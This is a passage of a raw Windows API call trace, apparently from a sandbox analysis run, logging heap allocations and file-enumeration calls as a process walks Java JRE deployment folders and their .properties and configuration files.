(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd0a8 [0088.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f8a0 [0088.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.221] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="")) returned 1 [0088.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f3d8) returned 1 [0088.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd0c8 [0088.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c580 [0088.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.223] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="")) returned 1 [0088.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1657, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_HK.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_TW.properties", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 1 [0088.225] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3687, dwReserved0=0x0, dwReserved1=0x0, cFileName="splash.gif", cAlternateFileName="")) returned 0 [0088.226] GetLastError () returned 0x12 [0088.226] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.226] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ffjcext.zip", cAlternateFileName="")) returned 1 [0088.226] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs", cAlternateFileName="")) returned 1 [0088.226] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.227] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\jqs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0088.227] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0088.227] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132aba0, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x132aba0, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.227] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132aba0) returned 1 [0088.227] NtClose (Handle=0x164) returned 0x0 [0088.228] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f928 [0088.228] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.229] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.229] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.229] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.conf", cAlternateFileName="")) returned 1 [0088.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fa38 [0088.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124fa38) returned 1 [0088.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fa38 [0088.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124fa38) returned 1 [0088.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fa38 [0088.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd248 [0088.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fac0 [0088.230] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124fa38) returned 1 [0088.230] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqsmessages.properties", cAlternateFileName="")) returned 1 [0088.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fa38 [0088.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124fa38) returned 1 [0088.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fa38 [0088.231] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124fa38) returned 1 [0088.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124fa38 [0088.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d0d8 [0088.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f928) returned 1 [0088.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd268 [0088.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130d1e0 [0088.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124fa38) returned 1 [0088.232] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqsmessages.properties", cAlternateFileName="")) returned 0 [0088.233] GetLastError () returned 0x12 [0088.233] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.233] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.233] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.233] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqs.conf", cAlternateFileName="")) returned 1 [0088.233] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqsmessages.properties", cAlternateFileName="")) returned 1 [0088.233] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jqsmessages.properties", cAlternateFileName="")) returned 0 [0088.233] GetLastError () returned 0x12 [0088.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.233] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.233] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130d0d8) returned 1 [0088.234] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xcea, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_de.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe10, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_es.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_fr.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc97, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_it.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x18cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ja.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1657, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_ko.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_pt_BR.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd51, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_sv.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages_zh_CN.properties", cAlternateFileName="")) returned 1 [0088.234] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74470c60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74470c60, 